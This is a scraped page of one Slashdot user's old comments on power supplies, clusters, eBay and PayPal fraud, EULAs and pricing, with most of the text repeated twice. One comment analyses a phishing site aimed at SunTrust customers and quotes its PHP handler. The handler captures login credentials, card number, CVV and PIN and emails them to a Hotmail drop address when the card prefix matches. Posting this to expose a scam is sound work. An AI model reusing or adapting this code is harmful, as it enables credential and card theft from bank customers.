No, you weren't wrong, just slightly narrow in scope on your definition of a power supply. The purpose of a power supply is take an input power and provide clean output power in the form of AC or DC at one or more voltage levels to an end device. In the case of standard computer supplies that means transforming the 120V AC power coming in (AC being a far more efficient means a long distance power transmission) to a stable 12v/5V/3.3V/-5V DC output for use by the local electronic components.
A typical switching power supply accomplishes this by: a) Run the 120VAC thru a transformer, down to ~24VAC b) Rectifying the output with diodes, filter with bulk capacitors to ~24VDC. c) "Chop" the DC voltage into several subvoltages by turning a transistor feeding a buck coil on/off at high frequency (~10kHz). d) Filter the resulting subvoltages with bulk and fine capacitors, resulting in a smooth clean output.
Skips step "a" (and "b"), making it convient to run off an available 12V source (say your car outlet). Telco DC power supplies have long done the same thing off ~48V DC power.
That being said... Despite the apparent enthusiasm, I have a very hard time believing the claim that this is possibly a 120W power supply for 3 distinct reasons:
1) If you take the specifications at face value, at full power this would being drawing 10.4 amps (claimed 96% eff.) in the 12V input. Given that the input wires appear to be 18AWG (standard ATX wire gauge), the wires would be cooking at that amperage. Typical transmission current ratings for 18AWG stranded copper is 2.3 amps.
2) The power connection appears to be a standard phono jack, again not suitable for 10 amps.
3) I only see 2 coils, 2 capacitors, a handful of diodes, possibly an inductor, and the chopper ciruits are most likely ICs sandwiched between the boards, in the pictures. That means there are only 2 buck transformer circuits, one taking 12V to 5V and one taking 12V to 3.3V, leaving 12V output unfiltered (highly noisy do to switching) and the 5/3.3V very rough under any significant power draw.
Therefore, given the above... I can;t see this power supply realistically providing more than ~30W at best, being very noisy while doing it....
Yes... it emails the contents to a drop account on Hotmail or Yahoo. I mirrored a copy of one of these sites some weeks back (uploaded onto a comprimised Apache server in China... without PHP enabled... stupid criminals...).
Interestingly... the code completely ignored all the other information collected in the precededing pages (Suntrust online banking this time). It only mails the CC info supplied, if that CC number starts with certain numbers. In all cases, it then continues to the 'completed.html' whihc redirects to the true web site.
Actual code from the verification.php: -----
$user = $_POST['user'];
$password = $_POST['password'];
$cin = $_POST['cin'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$pin = $_POST['pin'];
I would pose a serious question to their support department first and require them to explain why other operating systems don't qualify for certain service ranges... If you look at their system requirements page they say Win98/ME doesn't support 15/2Mbs and 30/5Mbs connection speeds...
What does the OS have to do with the external speed??? What does that mean for Linux/*BSD/DOS/Mac9.x? According to the pages, a 100BaseT network port is required for connection, so why a speed limit? I would look very carefully at what they really want that 100MB of drive space for....
It was noted somewhere--NPR, I think--that the typical EULA is measurably longer than the Constitution of the United States...
It was on NPR, yesterday I believe (but I can't find the link at the moment). The company in question was Gator (AKA Claria), which has a EULA longer than the constitution.
However, it should be noted (as stated in the interview) that nthis law is completely useless anyways do to the "EULA permission" exception. Two of the biggest proponents of the legislation are WhenU and 1800Solutions... two of the worst spyware/adware companies out there.
The idea is that you'd make a cluster with a whole bunch of virtual machines, say 1024. The cluster is fixed at that size for all the software that runs. But in reality, you've got 32 processors actually running. When you upgrade the cluster to 64, you don't need to reconfigure any of the software that runs on the cluster,
Or better yet, cut out all the overhead of running "virtual" processors and install MOSIX. Then just run your 1024 processes simultaneously. The processes will transparently migrate to the least busy nodes to load balance. Add more machines to the MOSIX cluster (while the cluster is up) and the load will be further distributed. Need to take your workstation out of the cluster temporarily? Just force a removal and the processes migrate off to other machines...
Really, I agree this way over-priced for the specs. I built myself dual-node quad Xeon cluster (8 processors) for almost half that price.
Besides, why in the hell is timothy spreading this??? The guy is promoting this "personal cluster" by spamming several newsgroups. Last week he hit a number of groups including comp.os.linux.hardware, comp.parallel, and comp.graphics.rendering.misc. That by itself ought to be more than enough to convice you not to buy for this guy!
I knew it! Just like the moon landing, this whole "Santa" thing is just a scam, filmed on some Hollywood movie lot. Look, I found the proof! Thru very careful hacking of the sites computer code (i.e., I read the html), I've managed to decipher the highly encrypted links (i.e., took a wild guess), and have found film footage that couldn't possibly exist yet if this whole "Santa" thing was real! According to this official "NORAD" site, "Santa"'s already finishing delivering present to Hawaii. It's still the middle of the afternoon there!
Nope. As usual, the submitters scribble stuff down and Timothy don't bother to check the facts. The packed form (the attachment) is roughly 38K in size, unpacked it is 159KB in size.
From the NewsForge column:
there's probably a better chance that the city of Berkeley, Calif., would open up a municipal rifle range before that happens
Uh Oh... We're all in trouble now... It's already happened![www.csua.berkeley.edu] Quick! Stop using Linux/*BSD, it's only a matter of time before the authorities are closing in on you...
Unfortunately, more often true than not. Paypal only really covers outright theft, not disputes of "description" or dissatisfaction. My advice, forget the reccomendations of waiting 45 days, or whatever, and file a notice of dispute immediately (not the formal request for reimbursement). That puts Paypal on notice and they will immdiately flag the account if a couple other simmilar notices come in. And you did exactly the right thing following, call up the local police department and ask to speak with a detective in theft. Fraud and theft is fraud and theft, it doesn't matter whether you live a mile away or a 100 miles away.
The problem with reputation is that it's just so easy to buy! Lets say I go place 20 bids on random crap and my $1 bid wins
Well, gee... Your saying maybe we ought to look at the actual circumstances of the transaction rather then some overall number? Anybody who does Ebay business regularly should look at the seller's actual auctions. More than once I found deadbeats trying to build up feedback like this. Usually a ring of new accounts, all selling ridculous things like "Used condom" or "Banana peal" for $0.01 that closed 5 minutes after it opened with the "Buy it Now" feature. Easy... report them, accounts closed, move on with life.
Just set up a ring of ebay accounts, bid on each other's stuff, and have it sell for higher values
Well, that's a good idea too, it's called "Shill bidding" and it's against the rules. Again, by looking at the actual auctions you can easily detect this. Don't just look at the feedback of the seller, look at the feedback of those who left the seller's feedback, and the feedback of those who left the feedback of those who left feedback. Are they all the same people? Are they all new users whose account were all created the same day? If so, it's a pretty obvious clue there's some fraud going on.
Most criminals aren't very smart, instead they just rely on others being dumber than they are.
Paypal will only protect you if you pay with a credit card
Not true! Paypal will cover any transaction, provided you follow some simple and quite obvious steps:
- Conduct transactions with verified users
- Ship/send money only to the listed address
- Use some common sense and not deal with someone who... say..., wants that new computer bought at $300 shipped overnight to a MailBoxes Etc., doesn't care shipping is going to cost $250, and says he's paying with a credit card (which just happens to be in the name of someone else).
Really, how hard is it to spot things like this? Same thing applies to sellers. Ship to confirmed address and have paperwork/tracking numbers to back up your end of the transaction. I deal on Ebay all the time, people have tried to screw me over, but I take some common sense. In every case, I've either got my money back, or a replacement from the seller.
Of course, on the other hand, the support systems of both Ebay and Paypal are terrible. It's not uncommon for it to take 4 or 5 days to get an illegal auction cancelled (bulk email addresses) on Ebay, or a month to report a spammer using Paypal as a payment vehicle.
No, you didn't miss anything... Apparently I'm missing my dictionary though. In case anyone wondered about the origin, I used to play way to much xEvil.
As someone who actually owns a quad Xeon (Intel Sitka 4x400MHz 1M cache) and is building 2 more for a cluster... the answer, as always, is "depends". It all depends on what the intended use is. For a embarrassingly simple parallel processing job (aka running 20 seti@home jobs) the price/performance ratio can be quite poor. Prices are definately down, but the motherboards and RAM are still fairly expensive (typically you need EDO ECC DIMMs with high end server boards, not the cheap SDRAM). You can pick up several 1GHz barebones Athlons for the same price and run the data serially thru each at a faster pace.
On the other hand, if you have a true multi-threaded, highly integrated task that requires high inter-process communication, separate boxes are a poor choice. Something like a large relational database or multi-dimensional vibration calculation wherein each calculation requires knowledge of it's neighbors motions, is far superior on a multi-CPU box. Unless you implement an expensive Dolphin/Myrinet network, the process communication alone, be it over ether, SCSI, or FC, kills a multi-box solution. Not to mention the fact quad Xeon boxes typically take 4-8GB of RAM so everything is always local.
1) Music CDs - there sure are alot more out there today than there were in the 80s. I would say the supply increased as the demand grew.
True, but in the same time sales of LPs and 8 tracks have dropped drastically. Can you even buy these any more? I would assert that the supply has NOT increased, it has just been usurped by a different distribution format. In speaking of "CDs", I didn't just mean that actual format (being nearly universal these days) but the distribution of music itself. Think about it, despite the extremes of consumer desire and indifference to the multitude of availible titles, there is always a constant supply of each on the store shelf at a constant price. This is not the result of true market economics by any stretch of the imagination.
2) DVDs - I can now rent DVDs at blockbuster on the corner, when only a few years ago I couldn't. Even the discount stores have DVDs now. Once again, the supply has increased with the demand.
Again, the ditribution format has changed, but not distribution channel itself. Up until very recently (a couple of weeks here), all movies on DVD, regardless of popularity, were the same price $19.99 (except of course, those high priced Disney releases). Doesn't matter wether there's 100 copies on the shelf of "The Bridge over the River Kwai" (a truely excellent classic by the way) or a dusty gapping hole where Britney Spear's latest teen sex show^H^H^H^H... err concert was. How does this happen in a supply and demand market place? Simple, by deliberate price setting and supply control.
3) Crude Oil - The control of this resource is very political, not to mention the amount of crude in the world is believed to be limited. Still, while we do endure temporary shortages, I think you will see that the production of crude has grown as demand has increased. Aren't there more cars on the road now than there were ten years ago? Fifty years ago?
And political makes a difference how? Besides, the point of the original poster was in the reference of the short term, not the long. Of course oil supply has increased over the last 50 years and the last 10, but this doesn't apply. If a nuclear power plant goes offline next week in California meaning one or more oil plants suddenly need lots more, OPEC is going to sudden increase supplies. Same with the summer driving season and winter coldsnaps every year.
In the former 2 cases it's a matter of constant supply at fixed (I would suggest artificially created) price point. In the later, a constant supply despite market demands and fluctuating prices.
Why not just build a small Linux system with wireless 802.11 net connection and multi-channel ADC card? Of course, this all really depends on what your data aquisition requirements and budget are, but a simple system would only be about $300 per node.
All of the parts neccessary are easily obtainable "off the shelf" and frequently "on the cheap" via Ebay and other surplus sales. For instance, take an ISA 4-5 slot backplane. Add in a 486 SBC computer card (preferably with a Disk-on-Chip built in), 12 port ADC ISA card, ISA to PCMCIA card, and a PCMCIA 802.11 wireless network card. Roll your own cut-down Linux distribution with network/serial drivers and a script to automatically poll the ADC and send results via the network to another machine. Throw in a wall-wort to power it and your done! (Well almost.)
Slashdot Mirror
No, you weren't wrong, just slightly narrow in scope on your definition of a power supply. The purpose of a power supply is take an input power and provide clean output power in the form of AC or DC at one or more voltage levels to an end device. In the case of standard computer supplies that means transforming the 120V AC power coming in (AC being a far more efficient means a long distance power transmission) to a stable 12v/5V/3.3V/-5V DC output for use by the local electronic components.
A typical switching power supply accomplishes this by: a) Run the 120VAC thru a transformer, down to ~24VAC
b) Rectifying the output with diodes, filter with bulk capacitors to ~24VDC.
c) "Chop" the DC voltage into several subvoltages by turning a transistor feeding a buck coil on/off at high frequency (~10kHz).
d) Filter the resulting subvoltages with bulk and fine capacitors, resulting in a smooth clean output.
Skips step "a" (and "b"), making it convient to run off an available 12V source (say your car outlet). Telco DC power supplies have long done the same thing off ~48V DC power.
That being said... Despite the apparent enthusiasm, I have a very hard time believing the claim that this is possibly a 120W power supply for 3 distinct reasons:
1) If you take the specifications at face value, at full power this would being drawing 10.4 amps (claimed 96% eff.) in the 12V input. Given that the input wires appear to be 18AWG (standard ATX wire gauge), the wires would be cooking at that amperage. Typical transmission current ratings for 18AWG stranded copper is 2.3 amps.
2) The power connection appears to be a standard phono jack, again not suitable for 10 amps.
3) I only see 2 coils, 2 capacitors, a handful of diodes, possibly an inductor, and the chopper ciruits are most likely ICs sandwiched between the boards, in the pictures. That means there are only 2 buck transformer circuits, one taking 12V to 5V and one taking 12V to 3.3V, leaving 12V output unfiltered (highly noisy do to switching) and the 5/3.3V very rough under any significant power draw.
Therefore, given the above... I can;t see this power supply realistically providing more than ~30W at best, being very noisy while doing it....
Yes... it emails the contents to a drop account on Hotmail or Yahoo. I mirrored a copy of one of these sites some weeks back (uploaded onto a comprimised Apache server in China... without PHP enabled... stupid criminals...).
n ");
Interestingly... the code completely ignored all the other information collected in the precededing pages (Suntrust online banking this time). It only mails the CC info supplied, if that CC number starts with certain numbers. In all cases, it then continues to the 'completed.html' whihc redirects to the true web site.
Actual code from the verification.php:
-----
$user = $_POST['user'];
$password = $_POST['password'];
$cin = $_POST['cin'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$pin = $_POST['pin'];
if ($user == '' || $password == '' || $cin == '' || $cvv2 == '' || $month == '' || $year == '' || $p
in == '') {
header ("Location: completed.html");
exit;
}
$first3 = $cin{0}.$cin{1}.$cin{2}.$cin{3}.$cin{4}.$cin{5};
if ($first3 == '401180' || $first3 == '405048' || $first3 == '421073' || $first3 == '422307' || $fir
st3 == '422920' || $first3 == '424625' || $first3 == '426627' || $first3 == '427095' || $first3 == '42
8900' || $first3 == '436666' || $first3 == '438801' || $first3 == '443181' || $first3 == '448848' || $
first3 == '471500' || $first3 == '541783' || $first3 == '543881' || $first3 == '543992' || $first3 ==
'545702' || $first3 == '546253' || $first3 == '547536') {
mail("JohnlicQPub664654@hotmail.com", "st me", "$user\n$password\n$cin\n$cvv2\n$month/$year\n$pi
header ("Location: completed.html");
exit;
}
header ("Location: completed.html");
exit;
------
I would pose a serious question to their support department first and require them to explain why other operating systems don't qualify for certain service ranges... If you look at their system requirements page they say Win98/ME doesn't support 15/2Mbs and 30/5Mbs connection speeds...
What does the OS have to do with the external speed??? What does that mean for Linux/*BSD/DOS/Mac9.x? According to the pages, a 100BaseT network port is required for connection, so why a speed limit? I would look very carefully at what they really want that 100MB of drive space for....
It was noted somewhere--NPR, I think--that the typical EULA is measurably longer than the Constitution of the United States...
It was on NPR, yesterday I believe (but I can't find the link at the moment). The company in question was Gator (AKA Claria), which has a EULA longer than the constitution.
However, it should be noted (as stated in the interview) that nthis law is completely useless anyways do to the "EULA permission" exception. Two of the biggest proponents of the legislation are WhenU and 1800Solutions... two of the worst spyware/adware companies out there.
Not really...
You can pick up a good Tektronix 7104 1GHz scope mainframe for a few hundred bucks.
The idea is that you'd make a cluster with a whole bunch of virtual machines, say 1024. The cluster is fixed at that size for all the software that runs. But in reality, you've got 32 processors actually running. When you upgrade the cluster to 64, you don't need to reconfigure any of the software that runs on the cluster,
Or better yet, cut out all the overhead of running "virtual" processors and install MOSIX. Then just run your 1024 processes simultaneously. The processes will transparently migrate to the least busy nodes to load balance. Add more machines to the MOSIX cluster (while the cluster is up) and the load will be further distributed. Need to take your workstation out of the cluster temporarily? Just force a removal and the processes migrate off to other machines...
Really, I agree this way over-priced for the specs. I built myself dual-node quad Xeon cluster (8 processors) for almost half that price.
Besides, why in the hell is timothy spreading this??? The guy is promoting this "personal cluster" by spamming several newsgroups. Last week he hit a number of groups including comp.os.linux.hardware, comp.parallel, and comp.graphics.rendering.misc. That by itself ought to be more than enough to convice you not to buy for this guy!
With a name like that, she could even get distro named after her
Or, perhaps, get sued for being possibly confused with a certain fat cartoon character...
I knew it! Just like the moon landing, this whole "Santa" thing is just a scam, filmed on some Hollywood movie lot. Look, I found the proof! Thru very careful hacking of the sites computer code (i.e., I read the html), I've managed to decipher the highly encrypted links (i.e., took a wild guess), and have found film footage that couldn't possibly exist yet if this whole "Santa" thing was real! According to this official "NORAD" site, "Santa"'s already finishing delivering present to Hawaii. It's still the middle of the afternoon there!
a ls /2001/santatrack/28_en.rm
http://santa.stream.aol.com/ramgen/aol/us/speci
Nope. As usual, the submitters scribble stuff down and Timothy don't bother to check the facts. The packed form (the attachment) is roughly 38K in size, unpacked it is 159KB in size.
I much prefer this picture of the refreshments in the back room. 12 pallets of Jolt, where's the fridge?
P G
http://www.dreamhack.org/dh01/photos/PB270108.J
From the NewsForge column:
there's probably a better chance that the city of Berkeley, Calif., would open up a municipal rifle range before that happens
Uh Oh... We're all in trouble now... It's already happened![www.csua.berkeley.edu] Quick! Stop using Linux/*BSD, it's only a matter of time before the authorities are closing in on you...
Unfortunately, more often true than not. Paypal only really covers outright theft, not disputes of "description" or dissatisfaction. My advice, forget the reccomendations of waiting 45 days, or whatever, and file a notice of dispute immediately (not the formal request for reimbursement). That puts Paypal on notice and they will immdiately flag the account if a couple other simmilar notices come in. And you did exactly the right thing following, call up the local police department and ask to speak with a detective in theft. Fraud and theft is fraud and theft, it doesn't matter whether you live a mile away or a 100 miles away.
The problem with reputation is that it's just so easy to buy! Lets say I go place 20 bids on random crap and my $1 bid wins
Well, gee... Your saying maybe we ought to look at the actual circumstances of the transaction rather then some overall number? Anybody who does Ebay business regularly should look at the seller's actual auctions. More than once I found deadbeats trying to build up feedback like this. Usually a ring of new accounts, all selling ridculous things like "Used condom" or "Banana peal" for $0.01 that closed 5 minutes after it opened with the "Buy it Now" feature. Easy... report them, accounts closed, move on with life.
Just set up a ring of ebay accounts, bid on each other's stuff, and have it sell for higher values
Well, that's a good idea too, it's called "Shill bidding" and it's against the rules. Again, by looking at the actual auctions you can easily detect this. Don't just look at the feedback of the seller, look at the feedback of those who left the seller's feedback, and the feedback of those who left the feedback of those who left feedback. Are they all the same people? Are they all new users whose account were all created the same day? If so, it's a pretty obvious clue there's some fraud going on.
Most criminals aren't very smart, instead they just rely on others being dumber than they are.
Paypal will only protect you if you pay with a credit card
Not true! Paypal will cover any transaction, provided you follow some simple and quite obvious steps:
- Conduct transactions with verified users
- Ship/send money only to the listed address
- Use some common sense and not deal with someone who... say..., wants that new computer bought at $300 shipped overnight to a MailBoxes Etc., doesn't care shipping is going to cost $250, and says he's paying with a credit card (which just happens to be in the name of someone else).
Really, how hard is it to spot things like this? Same thing applies to sellers. Ship to confirmed address and have paperwork/tracking numbers to back up your end of the transaction. I deal on Ebay all the time, people have tried to screw me over, but I take some common sense. In every case, I've either got my money back, or a replacement from the seller.
Of course, on the other hand, the support systems of both Ebay and Paypal are terrible. It's not uncommon for it to take 4 or 5 days to get an illegal auction cancelled (bulk email addresses) on Ebay, or a month to report a spammer using Paypal as a payment vehicle.
No, you didn't miss anything... Apparently I'm missing my dictionary though. In case anyone wondered about the origin, I used to play way to much xEvil.
As someone who actually owns a quad Xeon (Intel Sitka 4x400MHz 1M cache) and is building 2 more for a cluster... the answer, as always, is "depends". It all depends on what the intended use is. For a embarrassingly simple parallel processing job (aka running 20 seti@home jobs) the price/performance ratio can be quite poor. Prices are definately down, but the motherboards and RAM are still fairly expensive (typically you need EDO ECC DIMMs with high end server boards, not the cheap SDRAM). You can pick up several 1GHz barebones Athlons for the same price and run the data serially thru each at a faster pace.
On the other hand, if you have a true multi-threaded, highly integrated task that requires high inter-process communication, separate boxes are a poor choice. Something like a large relational database or multi-dimensional vibration calculation wherein each calculation requires knowledge of it's neighbors motions, is far superior on a multi-CPU box. Unless you implement an expensive Dolphin/Myrinet network, the process communication alone, be it over ether, SCSI, or FC, kills a multi-box solution. Not to mention the fact quad Xeon boxes typically take 4-8GB of RAM so everything is always local.
That's what I was talking about when I mentioned politics..
Oops, well that's just mine own stupidity and inability to type straight. It was suppose to read:
meaning one or more oil plants suddenly need lots more, OPEC ISN'T going to sudden increase supplies.
Too much work... not enough sleep.
True, but in the same time sales of LPs and 8 tracks have dropped drastically. Can you even buy these any more? I would assert that the supply has NOT increased, it has just been usurped by a different distribution format. In speaking of "CDs", I didn't just mean that actual format (being nearly universal these days) but the distribution of music itself. Think about it, despite the extremes of consumer desire and indifference to the multitude of availible titles, there is always a constant supply of each on the store shelf at a constant price. This is not the result of true market economics by any stretch of the imagination.
2) DVDs - I can now rent DVDs at blockbuster on the corner, when only a few years ago I couldn't. Even the discount stores have DVDs now. Once again, the supply has increased with the demand.
Again, the ditribution format has changed, but not distribution channel itself. Up until very recently (a couple of weeks here), all movies on DVD, regardless of popularity, were the same price $19.99 (except of course, those high priced Disney releases). Doesn't matter wether there's 100 copies on the shelf of "The Bridge over the River Kwai" (a truely excellent classic by the way) or a dusty gapping hole where Britney Spear's latest teen sex show^H^H^H^H... err concert was. How does this happen in a supply and demand market place? Simple, by deliberate price setting and supply control.
3) Crude Oil - The control of this resource is very political, not to mention the amount of crude in the world is believed to be limited. Still, while we do endure temporary shortages, I think you will see that the production of crude has grown as demand has increased. Aren't there more cars on the road now than there were ten years ago? Fifty years ago?
And political makes a difference how? Besides, the point of the original poster was in the reference of the short term, not the long. Of course oil supply has increased over the last 50 years and the last 10, but this doesn't apply. If a nuclear power plant goes offline next week in California meaning one or more oil plants suddenly need lots more, OPEC is going to sudden increase supplies. Same with the summer driving season and winter coldsnaps every year.
In the former 2 cases it's a matter of constant supply at fixed (I would suggest artificially created) price point. In the later, a constant supply despite market demands and fluctuating prices.
1) Music CDs
2) DVDs
3) Crude Oil
Why not just build a small Linux system with wireless 802.11 net connection and multi-channel ADC card? Of course, this all really depends on what your data aquisition requirements and budget are, but a simple system would only be about $300 per node.
All of the parts neccessary are easily obtainable "off the shelf" and frequently "on the cheap" via Ebay and other surplus sales. For instance, take an ISA 4-5 slot backplane. Add in a 486 SBC computer card (preferably with a Disk-on-Chip built in), 12 port ADC ISA card, ISA to PCMCIA card, and a PCMCIA 802.11 wireless network card. Roll your own cut-down Linux distribution with network/serial drivers and a script to automatically poll the ADC and send results via the network to another machine. Throw in a wall-wort to power it and your done! (Well almost.)
Sure, do it in 4
1) Do a search on "slashdot.org" from Microsoft
2) Click the only result to go to Microsoft MacTopia - Industry News
3) Scroll down and select the story Microsoft wants to censor some open-source postings by CNet
4) Click that Slashdot link.
Choprboy